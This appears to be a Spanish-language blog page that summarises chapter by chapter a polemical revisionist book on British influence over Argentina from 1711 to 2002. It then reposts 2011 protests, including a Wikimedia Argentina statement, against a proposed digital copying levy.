Bernardino Rivadavia: Presidente de las Provincias Unidas del Río de la Plata, en el acuerdo general de ministros del 25 de junio de 1827 de­nuncia y repele el tratado firmado por Manuel José García para la sece­sión del Uruguay. Exhortación al pueblo de Buenos Aires: “si no abrimos los ojos, volveremos a los tiempos de Beresford.” Comunicado del 15 de julio de 1827 de Lord Ponsonby a Canning: “los diarios propagados por el Señor Rivadavia difamaban continuamente a la legación de S.M.B.” El 20 de julio de 1827 de Lord Ponsonby a Canning: “confío en que esta aparente prevención contra Inglaterra cesará cuando la influencia y el ejemplo del Señor Rivadavia sean completamente extinguidos.” Del 28 de abril de 1834: “Rivadavia regresa de la España portador de un proyecto de reconocimiento de la independencia americana por la Corte de Madrid bajo la condición de intentar dinastías monárquicas españo­las.” Su acción anterior procuró siempre un tratado de paz con España.

La actitud de Gran Bretaña durante la guerra de Malvinas en 1982.

Manuel Dorrego: su plan continental: una alianza con Bolívar que le permitiera reunir a los ejércitos de Colombia, Perú, Bolivia y Argentina para atacar el Brasil, destruir el imperio y luego dividir el inmenso terri­torio en cinco repúblicas. Reunificación de la Provincia Oriental a las Provincias Unidas del Río de la Plata. Lord Ponsonby comunica a su go­bierno que se habían dado pasos en ciertos sectores para deponer a Do­rrego y reemplazarlo por Rosas.

Pedro Ferré: su pensamiento nunca reeditado en su obra “Cuestiones nacionales” (1832) y “Memorias” (1845). Su análisis elemental de la crisis económica argentina: “Gran Bretaña es dueña de una parte de las rentas que tienen en Buenos Aires cuando las armas de esa potencia ocuparon en 1806.”Comienzo del déficit presupuestario y fiscal. Su aná­lisis económico de los episodios de 1810. Buenos Aires factoría puerto de Gran Bretaña: “considero la libertad de comercio como fatalidad para la Nación. Los pocos artículos industriales que produce nuestro país no pueden soportar la competencia de la industria extranjera.” La inde­pendencia sin independencia económica es una empresa vana de pura jactancia. Buenos Aires tiene una frivolidad alienante. Es el servidor que nos lleva de Argentina continental a Argentina mu­nicipal.            Págína 471

 

 

CAPÍTULO VIII. Armazón jurídica para mutilar a un país. El Acta de Independencia del 9 de julio de 1816 declaró la independencia de todo el continente de América del Sur y declaró a Santa Rosa de Lima Patro­na de la Independencia de todo el continente. Los Libros de Actas del Congreso de Tucumán fueron perdidos: entonces ignoramos por qué y para quién se proclamó la independencia y se formó el país denominado luego República Argentina. La independencia declarada fue aparente e imprecisa. La ambigüedad política exterior tuvo por objeto subordinarse a los resultados de la situación europea que eran una puja frontal entre Gran Bretaña y Rusia, que encabezaba la Santa Alianza. Jean Adam Graaner delegado ante el Congreso de Tucumán del Rey de Suecia y del Zar de Rusia. La actuación del Coronel José Moldes, diputado por Salta, procura mantener la estructura original del Virreinato del Río de la Plata. El mismo objetivo es el de José Gervasio de Artigas. A los pocos días de haberse declarado la independencia, los comerciantes británicos de Buenos Aires piden al gobierno británico que contara con ellos para re­presentar a Gran Bretaña ante el nuevo Estado Independiente, a ¡os efectos consulares. El comercio, objetivo principal del nuevo Estado. La Legislatura de Buenos Aires procede a la balcanización del Virreinato del Río de la Plata: exclusión de ¡as Provincias del Alto Perú del ámbito terri­torial del nuevo Estado. El Virreinato del Río de la Plata, con una super­ficie de 7.000.000 kmy bioceánico, queda reducido a la mitad de su extensión y pierde la salida al Pacífico, convirtiéndose en un país unila­teralmente vinculado con Europa a través de Inglaterra. El Tratado An­glo-Argentino del 2 de febrero de 1825 consolida los planes británicos: nuestro país quedó económicamente subordinado y geográficamente despedazado. El Ministro de Relaciones Exteriores Manuel José García resuelve separar a la Banda Oriental de las demás provincias argentinas. Para silenciar el despedazamiento del país se modifica la letra del Himno Nacional, que se refería a Potosí, Cochabamba y La Paz, las ciudades más importantes de las Provincias del Alto Perú. Página 526

CAPÍTULO IXLa independencia adulterada. El 16 de diciembre de 1824, pocos días después de la Batalla de Ayacucho —última batalla contra los ejércitos españoles- se instala en Buenos Aires un Congreso Constituyente. La ley fundamental adjudica a Buenos Aires la suprema­cía absoluta del manejo de la política exterior. El General Las Heras, Go­bernador de Buenos Aires, dicta el decreto del 29 de enero de 1825, de­signando a Manuel José García Secretario de Relaciones Exteriores para ajustar con el Plenipotenciario de S.M.B. un tratado de amistad y comer­cio. Texto integral y análisis del Tratado del 2 de febrero de 1825 de Amistad, Comercio y Navegación entre el Reino Unido de Gran Breta­ñaIrlanda y sus súbditos y los territorios de las Provincias del Río de la Plata y sus habitantes. El artículo 2º del tratado determina que los súbditos británicos podrán arribar con sus buques y cargas para ejercer el comercio a cualquier puerto, paraje o río de las Provincias Unidas del Río de la Plata. Con esta estipulación los ríos interiores de las Pro­vincias Unidas, son de libre navegación para los británicos con exclusión de cualquier otra bandera. El artículo 7º del tratado de­termina que los buques que quieran enarbolar pabellón de las Provincias Unidas y ampararse en el Derecho de Gentes deben ser propiedad de ciudadanos y haberse construido en los territorios de las Provincias Uni­das. Con esta estipulación las Provincias Unidas no pueden alquilar bu­ques ni en Francia ni en Estados Unidos para comunicarse con el mun­do.[2] Gran Bretaña adquiere por el artículo 9º la cláusula de la Nación más favorecida. Carácter de los lazos entablados por el tratado de 1825 según los conceptos de Lord Ponsonby encargado de negocios de Gran Bretaña en Buenos Aires: se han creado lazos que ningún go­bierno, ni tampoco acaso ningún poder que el hombre posea puede ahora disolver. El artículo 11º impide en caso de guerra con Gran Bretaña tomar a la Argentina represalias económicas contra los bienes británicos: aplicación rigurosa de este principio durante la guerra de Malvinas.            Página 552

 

CAPITULO X. La transferencia se perfecciona. Congreso Anfictiónico de Panamá propiciado por Simón Bolívar: Panamá está en el centro del globo viendo por una parte el Asia y por otra parte el África y Europa. José Miguel Díaz Vélez es designado representante de las Provincias Unidas del Río de la Plata al Congreso de Panamá, pero no concurre. Ar­gentina queda incomunicada con el resto del continente junto con los tres Estados tapones que la separan Bolivia, Paraguay y Uruguay. Ar­gentina aislada y América desvertebrada. Gran Bretaña se incorpora al Congreso de Panamá como sí fuese un Estado Americano. Protección británica ante cualquier reivindicación de España. Beneficios otorgados a Gran Bretaña por esta protección: el Tratado Anglo – Argentino del 2 de febrero de 1825 es suscripto en marzo de 1825 por el Perú, el 18 de abril de 1825 por Colombia y el 26 de noviembre de 1825 por México. El 1º de junio de 1826 Mr. Eduardo Dawkins presenta sus credenciales como representante de Gran Bretaña ante el Congreso Anfictiónico de Panamá. Maniobra británica para impedir la concurrencia de los repre­sentantes de los Estados Unidos. Los representantes del Perú se oponen a la alianza defensiva de América del Sur con Gran Bretaña y contra Es­paña. Posición de los representantes del Perú: Inglaterra al frente de Asia y de América sería más terrible que Roma en los días de su mayor prosperidad. La participación de Gran Bretaña en el Congreso de Panamá provocó la desintegración de todo el Hemisferio. Aplica­ción contemporánea de esta situación con motivo de la guerra de Malvi­nas de 1982.

Rusia se hace presente en el Congreso de Tucumán de 1816 y dirige sus miras al Nuevo Mundo (1816-1826).

Rusia y Gran Bretaña frente al Congreso de Panamá de 1826.

El Vaticano frente a América: 1816-1826.

El Paraguay: 1826-1842.            Página 609

 

CAPITULO XI. El país reemplazado. Sucesivos cambios de denomina­ciones para nuestro país: de Provincias Unidas de Sur América a Repú­blica Argentina. La sustitución de la población. Heterogeneidad inmigra­toria contemporánea: tiempo del Gobierno del “Proceso” (24/3/76-10/12/83). Criterio posterior de Alberdi: “Londres y París encierran más barbarie que la Patagonia y el Chaco si se las contempla con las capas o regiones subterráneas de su población.” El censo de 1895 acredita ma­temáticamente al país reemplazado. La Revolución de Mayo conformó un patriciado de estancieros ganaderos que exportan vacunos a Gran Bretaña por el Atlántico, el “mare nostrum” del imperio inglés.

Juan Alvarez y su “Estudio sobre las guerras civiles en la Argentina Conclusión terminante: los países de donde nos vinieron más inmigran­tes ofrecían a sus súbditos mayor posibilidad de ser propietarios que en nuestro suelo.

En 1910 los festejos del centenario presentan internacionalmente a la Argentina reemplazada: opinión del príncipe Luis de Orleáns y Bragance y de Jules Huret.            Página 639

 

CAPITULO XII. Un alto en el camino — Geopolítica y empréstitos. Tesis de Henry Kissinger: “Un mundo restaurado.” Valor actual de las guerras napoleónicas. Las potencias marítimas al comenzar el siglo XIX: España, Francia y Gran Bretaña. Las potencias de la masa terrestre en la misma época: Rusia, Prusia y Austria. Tesis de Halford Mackinder: la gran masa terrestre envuelta por el mar y el gran anillo insular y de bases marítimas que rodea la masa terrestre. Ausencia de planisferios en la enseñanza universitaria, secundaria y primaria de la Argentina. El rol de América del Sur y su potencialidad decisiva en el sistema mundial (terrestre o marítimo). El rol de Rusia en las guerras napoleónicas: sean Adam Graaner enviado del Zar de Rusia y del Rey de Suecia al Congreso de Tucumán. Su obra y sus dos viajes hacia América. Ofrecimientos de San Martín a Gran Bretaña a través de Juan García del Río, Ministro de Relaciones Exteriores del Perú y del Dr. Diego Paroissien, su médico per­sonal. Concertación del primer empréstito para América del Sur. Identi­dad de la acción de Beresford en Buenos Aires en 1806 y del Lord Cochrane y de San Martín en el Perú en 1821. El edicto de libre comer­cio de Buenos Aires de 1809 y la autorización a los comerciantes ingle­ses en Lima en 1821 para vender sus mercaderías importadas. La deuda inglesa de los estados de América Latina en 1876: la independencia de­clarada se convierte en transferencia descarada. La tesis de Alberdi de 1875 sobre la deuda externa y su vigencia actual. La deuda externa en la República Argentina. Rescate de la deuda externa y no afiliación al Fondo Monetario Internacional entre 1943 y 1955. Rebeliones, golpes de Estado y deuda externa. La progresión de la deuda externa desde 1955 hasta 1973. El gobierno de 1973-76 condicionado por la deuda ex­terna y tutelado por la Junta Militar que subsistía. El cierre del Mercado Común Europeo a las importaciones de carnes argenti­nas (10 de julio de 1974). La pobreza de un país no es incompatible con su independencia patrimonial y la libertad económica de sus habitantes. Terrorismo-holocausto y deuda externa. Fronteras y deuda externa. La deuda externa como arma de exterminio masivo. Demografía y deuda

externa.            Página 660

CAPÍTULO XIIIInventario y avalúo. George Canning y el destino de la América del Sur, el continente conquistado por Gran Bretaña entre 1810 y 1824. La estatua de Canníng imagen mentora del Ministerio de Eco­nomía de la República Argentina. El itinerario del viaje de Charles Dar­win en 1832: 12 días en Nueva Zelanda, 20 días en Australia y más de 3 años en Argentina, Chile y Perú. Simetría del viaje de Darwin en la gole­ta “Beagle” y el itinerario de la campaña sanmartiniana. El viaje de la goleta “Beagle” que transporta a Charles Darwin y el viaje de la goleta ‘tifo”, que ocupa las Islas Malvinas. La “defensa” de las Islas Malvinas por parte del Teniente Coronel de Marina José María Pinedo. Sanción a José María Pinedo por no haber defendido las Malvinas: se le suspende en su empleo por cuatro (4) meses y es trasladado de la marina al ejér­cito. Diferencia con la sanción que recibió la Junta Militar integrada por el General Leopoldo Fortunato Galtieri, el Almirante Isaac Anaya y el Brigadier General ‘Basilio Lami Dozo. No fueron condenados por haber hecho la guerra sino por haber interrumpido el comercio con Gran Bre­taña. Las conversaciones entre Darwin y Rosas. Darwin promueve a Ro­sas como Jefe de Estado. Inglaterra necesitaba al Río de la Plata como mercado y ostentaba su poder para lograrlo, y Rosas necesitaba tener como aliada a una Nación que era una de las primeras potencias del mundo. Tras el viaje de Darwin Gran Bretaña concreta su política colo­nial en Asia, África y Oceanía. Los conceptos de Darwin sobre el hom­bre: hegemonía, el fuerte destruye al débil: tesis política. La concep­ción de Anton von Bari sobre la simbiosis o armonía universal: tesis científica. En nuestro país la tesis de Darwin bajo los medios más arte­ros fue una constante demográfica: masacre y reemplazo de los argen­tinos.            Página 704

CAPITULO XIVJuan Manuel de Rosas — Crucero de decretos ex­traviados. Testimonio de Guillermo Enrique Hudson: “lo aborrecían mu­chos, tal vez la mayoría de los ciudadanos argentinos… Entre los admiradores figuraba la mayor parte de los ingleses residentes en el país.” Inventario de decretos de Juan Manuel de Rosas estableciendo luto obli­gatorio para los empleados civiles y militares: I) 27 de septiembre de 1830: por la muerte de Jorge IV, Rey del Reino Unido de Gran Bretaña e Irlanda; II) 12 de mayo de 1835: por la muerte del Duque de Glowces­ter, hermano político y primo del Rey del Reino Unido de Gran Bretaña e Irlanda; III) 23 de junio de 1837: por la muerte del tío de la Reina Vic­toria, el Rey Guillermo IV; IV) 12 de diciembre de 1840: por la muerte de la Princesa Augusta Sofía, hija mayor de su finada Majestad el Rey Jorge III; V) 11 de agosto de 1843: por la muerte del Duque de Sussex, hijo de Su Majestad, el finado Rey Jorge III; VI) 7 de mayo de 1845: por la muerte de la Princesa Sofía Matilde, hija de su finada Alteza Real Guillermo Enrique, Duque de Glowcester; VII) 5 de abril de 1850: por la muerte de Su Majestad la Reina Adelaida, viuda del finado Su Majestad Guillermo IV y tía de la Reina Victoria; VIII) 17 de noviembre de 1850: por la muerte de su Alteza Real el Duque de Cambridge, hijo menor del finado Su Majestad Jorge III, tío de Su Majestad la Reina Victoria; IX) 17 de julio de 1839: decreto otorgando a Sir Woodbine Parish Ca­ballero Comendador de la Orden Güelfa, autor del tratado del 2 de febrero de 1825, el Escudo de Armas de la República como blasón personal. Rosas no era militar de profesión. El mito Rosas-­Perón no se corresponde con la realidad de los actos de gobierno firma­dos por el Presidente Juan Domingo Perón y por el Gobernador Juan Manuel de Rosas.  Página 723

CAPÍTULO XV. Juan Manuel de Rosas — Anatema, folklore y reali­dad. Horas después de la batalla de Caseros Rosas se asila en la casa del Encargado de Negocios de Gran Bretaña, Mr. Roberto Core. Se em­barca en la fragata de guerra inglesa “Centaur” y cuatro (4) días des­pués en el vapor de guerra “Conflict.” Es recibido en Plymouth oficial­mente por las autoridades militares con una salva de cañonazos. Motivo: haber concluido con Gran Bretaña actos trascendentales y la acogida generosa que dio a los súbditos británicos. Rosas y Gran Bretaña con­forman una sociedad accidental con participación: Rosas es socio gestor y el gobierno inglés tiene carácter de socio no gestor. Aportes de Rosas como socio gestor: 1) sumisión de las provincias del mutilado virreinato al tratado de 1825. Nunca repudíó el empréstito inglés de 1824. 2) Man­tuvo inalterable la primacía indiscutible de la actividad ganadera al ser­vicio del comercio inglés. 3) Mantuvo la proscripción de un programa de industrialización como el que le exigía el gobernador de Corrientes, Bri­gadier Pedro Ferré. 4) Puso fin al reclamo reivindicatorio de los indios sobre sus tierras y de los gauchos con relación a sus derechos de parti­cipación política y social. La batalla de Caseros, la más grande que se libró en América: Rosas sumaba 22.000 y Urquiza 24.000 hombres. Ur­quiza se rodea de asesores vinculados a los Estados Unidos de Nortea­mérica, entonces rivales de Gran Bretaña. Urquiza no es confiable para el gobierno inglés. El rosismo folklórico y apologético erradica a Juan Manuel de Rosas de las hipótesis revisionistas profundas. Lo ubica como uno más en el elenco de los administradores de los intereses argentino-­británicos. El profesor David Bushmell en mayo de 1988 señala a Rosas como el “adalid de un liberalismo económico sin restricciones que debe denominarse “rosismo liberal o liberalismo rosista.”

Rosas realidad. El tratado de Mackau-Arana. El texto original completo del 29 de octubre de 1840 firmado a bordo del buque de guerra francés “Boulonnaise.” Francia pide un tratado similar al deI 2 de febrero de 1825 que se había otorgado a Inglaterra. Examen sinóptico del tratado. Tratado Arana-Southern. La independencia de Texas y su posterior anexión a los Estados Unidos juntamente con Arizona, Nueva México y California rompe la “entente cordiale” de Inglaterra y Francia. Génesis de la expedición de guerra anglo-francesa de 1845 sobre fa Confedera­ción Argentina.

Ninguna de las guerras de Gran Bretaña contra nuestro país ha sido lla­mada por su nombre: la de 1806 y 1807 se calificó de “Invasiones”; la de 1845, “Intervención” y la de 1982, “Conflicto de Malvinas.

La vinculación de Rosas con los representantes británicos durante la guerra de 1845. Rosas cumple con Inglaterra. Perón, en cambio, termi­nó su tercer gobierno y su vida como un desobediente pertinaz. Los objetivos de Francia y de Inglaterra en la guerra donde se fibra la batalla de la Vuelta de Obligado fueron completamente diferentes. Texto integral del tratado Arana-Southern del 24 de noviembre de 1849. Los ríos interiores son argentinos y solamente puede navegar por ellos Gran Bretaña. El tratado de Arana-Southern ratifica las prerrogativas de Gran Bretaña adquiridas por el tratado del 2 de febrero de 1825. La Reina Victoria confirma la Convención Arana-Southern agregando que jamás permitiremos que ella sea violada por persona alguna. Tratado Arana-Le Predour del 31 de agosto de 1850; texto integral. El gobierno de la República Francesa reconoce que el Río Paraná es un río interior de la Confederación Argentina, con excepción de los derechos que sobre el mismo tiene Gran Bretaña por el tratado de 1825. El trata­do Arana-Le Predour reproduce en líneas generales los términos del tra­tado Arana-Southern. Gran Bretaña salva el tratado del de febre­ro de 1825 erradica a los franceses en sus avances económicos sobre el Río de la Plata.

La misión de Rosas como “gestor” de los intereses británicos había terminado.            Página 736

 

CAPÍTULO XVI. Epílogo que ha de ser prólogo.

El gran enigma de José de San Martín:

A) ¿Fue un rebelde de España y un renegado de los planes de Gran Bretaña para Hispanoamérica? ¿El tratado de paz con España firma­do en 1821 en Punchauca fue la causa por la cual lo obligaron a de­legar su poder militar y retirarse?

B) ¿Continuó en Europa al servicio de Inglaterra?

 

¿Dónde se halla el texto íntegro del tratado de paz con España que San Martín firmó con el Virrey de la Serna en Punchauca en 1821?

¿Dónde se halla el archivo completo de San Martín?

 

Falta de respuestas a preguntas decisivas para evaluar el resultado posi­tivo o negativo de su acción sobre Hispanoamérica. Imposibilidad de permanecer en la incertidumbre. Necesidad impostergable de definicio­nes sin ambigüedades.

Seguir de buena fe a prohombres de leyenda que no han sido lo que se cree, es el forzoso regreso al fracaso permanente. Página 795

 

APÉNDICE

 

I.          ”El delicado umbral de la tempestad – Cuestiones de un general inglés” (marzo 2001): trasplante de la Defensa de 1807 a la mentalidad que les quieren acuñar los británicos a los argentinos del siglo XXI.

II.         La Universidad de Oxford crea una cátedra para analizar la situación argentina (La Nación 24 de junio de 1999). Los nuevos personeros de Gran Bretaña para intensificar la colonización pedagógica inglesa en los argentinos de la futura generación.

III.        Medio gobierno se mudará a Oxford (Clarín 22 de abril de 2000).

IV.            Diputados argentinos invitados por el Parlamento Británico. (La Na­ción 26 de junio de 2001).

V.         Final del siglo XX: estatuas simultáneas de San Martín y Canning (La Nación 5 de noviembre de 1994).

San Martín: “liberal, particularmente respecto del comercio que entien­de muy bien. Siempre ha mostrado marcada predilección por Gran Bre­taña” (informe del Comodoro William Bowles al Almirantazgo en enero de 1818).

VI.            Confianza inglesa en la Argentina de 2001 (La Nación 17 de julio de 2001).

VIl.       “Gran Bretaña socio ideal para la Argentina” (La Nación 21 de octu­bre de 2001).

VII.       Brindis en la Embajada Británica (Clarín 7 de abril de 2001). Afirman que el vocero de Blair escribió el discurso de Menem (La Nación

9 de octubre de 2000).   Página 807

 

POSIBLE FINAL. Los grandes hitos de la tesis del teorema que hemos demostrado en este estudio: 1) desde 1711 a 1852, II) desde 1852 has­ta 1943, III) desde 1943 hasta 1955, IV) desde 1955 hasta nuestros días en 2002.

Hostigamiento sin tregua a todos los gobiernos que se suceden desde el 1º de mayo 1958 hasta el 24 de marzo de 1976.

Motivos y pretextos del 24 de marzo de 1976.

Análisis de la obra estructural realizada por el gobierno constitucional en el periodo que transcurre desde el 25 de marzo de 1973 hasta el 24 de marzo de 1976.

El informe de Lord Franks de enero 22 de 1976 refiriendo la necesidad de un golpe de Estado en Argentina. Saludo al 24 de marzo de 1976 y al gobierno el “Proceso” realizado por los diarios ingleses y holandeses. La masacre y la devastación económica que transcurre entre el 24 de marzo de 1976 y el 10 de diciembre de 1983. a) Situación demográfica argentina, b) La desindustrialización planificada, c) El endeudamiento innecesario planificado.

La deuda externa desde el 24 de marzo de 1976 hasta junio del año 2002: la Argentina territorio tributario.

Demostración final al teorema. “Argentina de provincia Hispanoamerica­na a territorio tributario.”            Página 848

 


[1] Edición año 1924

[2]  R Rippy J. Fred: “La rivalidad entre Estados Unidos y Gran Bretaña por América Latina (1808-1830)” —EUDEBA. Buenos Aires. 1967.

 

 

Resumen en formato pdf La Involución Hispanoamericana. De Provincias de las Españas a Territorios Tributarios
Copias del manuscrito original de «Una propuesta para humillar a España» «A proposal for humbling Spain»  A proposal for humbling Spain , tengo una versión con mayor resolución (apta para impresion) que espero poder subir despues a algun servicio de compartición de archivos para no consumir mucho ancho de banda.

 

Aqui una presentación en video (imperdible) :

Aca un resumen que encontre en internet un poco mas ordenado que el mío que alguien se tomó el trabajo de mejorarlo

En 1711 se publicó en Londres un sugestivo folleto titulado Una propuesta para humillar a España
(GONZÁLEZ Julio C.,1998:9), cuyo autor se ocultaba detrás de esta curiosa frase: “Escrita en 1711 en
Gran Bretaña por una persona de distinción”. El Dr. Horacio Zorraquín Becú considera con razón que
el panfleto “constituye el primero y más sorprendente anticipo de la política rioplatense de Inglaterra”
(RODRÍGUEZ Bernardo N., 1970:7). El trabajo que comentamos señala la necesidad de separar la
estructura minera del Alto Perú y de Chile de la zona de praderas de Buenos Aires de la cual provenía
la carne vacuna necesaria para nutrir la fuerza humana que realizaba la durísima tarea del laboreo de
los yacimientos minerales. Se indica que es imprescindible separar la zona donde se cultiva la yerba
mate del Paraguay, para impedir que la infusión fuera el elemento depurador para el organismo de
los mineros. Sin carne vacuna y sin yerba mate la minería del Alto Perú, del Perú y de Chile sufriría un
duro revés por la falta de salud en los hombres que deben trabajarla.

Una propuesta para humillar a España

Ley Argentina sobre Canon digital, o como meternos mas la mano en el bolsillo

Leyendo noticias de diferentes sitios me entere de una preocupante situación que podemos llegar a sufrir si se implementa esta distorsionada ley, cada ciudadano debe estar enterado de esto

De Rogerbits http://www.rogerbits.com/2011/06/28/el-canon-digital-hoy-en-el-senado-argentino/

El canon digital HOY en el Senado Argentino “la ley pirata”

Hace unos días me comentaban que el proyecto impulsado por los Senadores Pichetto @MiguelAPichetto y Rubén Giustiniani@rgiustiniani sobre el Canon digital en argentina (K- FPV) seguía activo y estaban intentando aprobarlo en este año..

Y hace unos minutos lo pude confirmar: En el día de hoy Martes 28 de junio a las 16:30 Hs (Agenda de la reunión) la comisión de legislación general del Senado Argentino va a tratar el proyecto expediente S3732/10 “Ley PIRATA argentina” Que no es mas que un impuesto que nos impone un cargo extra sobre la compra de cualquier producto electrónico o insumo, que pueda ser utilizado tangencialmente para copiar contenido protegido por leyes de propiedad intelectual. En resumidas cuentas, un nuevo impuestazo tecnológico, pero no solo eso.

.

El proyecto en cuestión será tratado por senadores que por ejemplo en la última reunión de esa comisión vertieron opiniones tales como: “Es un proyecto que “está bien hecho” y que busca finalizar con la violación de los derechos intelectuales, siendo miles y miles los pesos “que se le roban al autor de la obra” (Dichos textuales de la secretaria de la comisión)

.

El proyecto en cuestión que será tratado es éste.

.

Una vez más nos meten las manos en el bolsillo para proteger un esquema legal obsoleto de protección de los derechos intelectuales; La gravedad del tema que ya ya fracasado en España y busca ser impuesto en nuestro país en breve puede resumirse en estos párrafos:

.

El Art. 12: Indica de cuanto será el impuesto, el porcentaje es sobre el precio de venta:

.

b. (CDR/CDRW/DVR/DVDRW/Blu-ray): 75%

c. Tarjetas de memoria: 5%

d. Rígidos integrados o no en un equipo: 10%

e. Decos de señales de televisión por cable o satelital : 10%

f. Walkmans mp3 (Ipod x ej): 10%

g. Celulares con MP3: 1%

.

El valor de venta de precio al público se tomará de acuerdo con el valor de referencia de mercado, y en caso de no contarse con información fidedigna del mismo, a los fines de la aplicación de las tarifas establecidas en la presente ley, se realizará aplicando un cincuenta por ciento (50%) del valor de venta mayorista del producto o dispositivo. Osea, que si es un aparato que no se comercializa en el país, el impuesto sobre el precio pagado es de 50%!

.

Entonces en el supuesto caso que compres un equipo en el exterior y lo traigas antes que su lanzamiento en nuestro país tal vez tengas que pagar 50% de arancel aduanero y otro 50% para cumplir con la futura ley pirata Argentina.

.

Vamos a ver como sigue esto. Este port no intenta ser un analisis juridico del tema, solo ponerlo en conocimiento de todos, segurametne lo ire modificando con los dias, analizandolo al proyecto.

.

#NOLESVOTES.

Acá los nombres y mails de todos los senadores de la comisión que hoy tratará el tema.

.

Mas info sobre el canon: No Al CanonMarianoAlt1040 /

Buenos Aires, 1ro. de Julio de 2011

De Wikimedia Argentna http://www.wikimedia.org.ar/node/40

Wikimedia Argentina se opone al canon digital

El Senado de la Nación está debatiendo un proyecto para imponer un gravamen, denominado «derecho de remuneración», que afecta a dispositivos de almacenamiento y reproducción digital, con el declarado propósito de compensar las supuestas pérdidas causadas a productores, autores y otros derechohabientes de derechos de autor por los ciudadanos que copien, para su uso privado, materiales que hayan adquirido legítimamente. De aprobarse este proyecto, los montos resultantes serán administrados por sociedades gestoras de derechos de autor y conexos. Sin embargo, no existe ninguna evidencia empírica de que la copia privada ocasione pérdidas económicas a los titulares de los derechos de obras protegidas, por lo que el canon parecería constituir en realidad una fuente de ingresos nueva para gestoras colectivas y sus asociados, formada por un aporte compulsivo de la ciudadanía.

Wikimedia Argentina promueve proyectos basados en internet que se desarrollan de forma abierta y colaborativa, cuyos contenidos se encuentran amparados por licencias que promueven la copia y reutilización libres y gratuitas de los mismos. Gran parte de estos contenidos, por ejemplo, los de la conocida enciclopedia en línea Wikipedia, pueden distribuirse en discos compactos o memorias USB para su aprovechamiento con fines educativos en sitios o instituciones sin acceso a internet. El proyecto de canon digital encarecería en un 75% este tipo de proyectos, pese a que ni las gestoras colectivas ni sus asociados hayan hecho aporte alguno a los mismos.

Consideramos que un gravamen como el propuesto tiene evidentes efectos negativos respecto de la reducción de la brecha digital, el acceso a la tecnología y la información, y la igualdad de oportunidades, resultando por lo tanto abusivo y arbitrario. Por ello expresamos nuestro más enérgico repudio a la iniciativa, instamos a los legisladores a rechazar esta propuesta que lejos de resolver un problema inexistente, conducirá a crear problemas nuevos de mayor magnitud, y solicitamos al Honorable Senado que se nos permita ofrecer nuestra visión en la próxima reunión de Comisión de Legislación General en la que se trate este proyecto.

Al mismo tiempo, invitamos a grupos y organizaciones relacionados con la educación, la cultura, la libertad de expresión, los derechos civiles, los derechos de los consumidores, u otros, a adherirse a esta Declaración, a expresar sus objeciones mediante un documento propio o a reutilizar el presente documento en caso de que refleje cabalmente su propia opinión sobre este tema. En cualquiera de los casos, por favor, envíe un correo electrónico a correo (at) wikimedia.org.ar

Wikimedia Argentina

Ver tambien http://www.derechoaleer.org/2011/06/hoy-se-trata-en-el-senado-el-canon-digital.html

aca una muy buena infografia, clickear para agrandar

che y la música tradicional que no entra en los canones de las

reglas de la música heredadas de la europa, como sea una melodia realizada con

una trutruka, un sikus un kultrun tambien piensan apropiarla y cobrarnos impuestos por hacerles copias?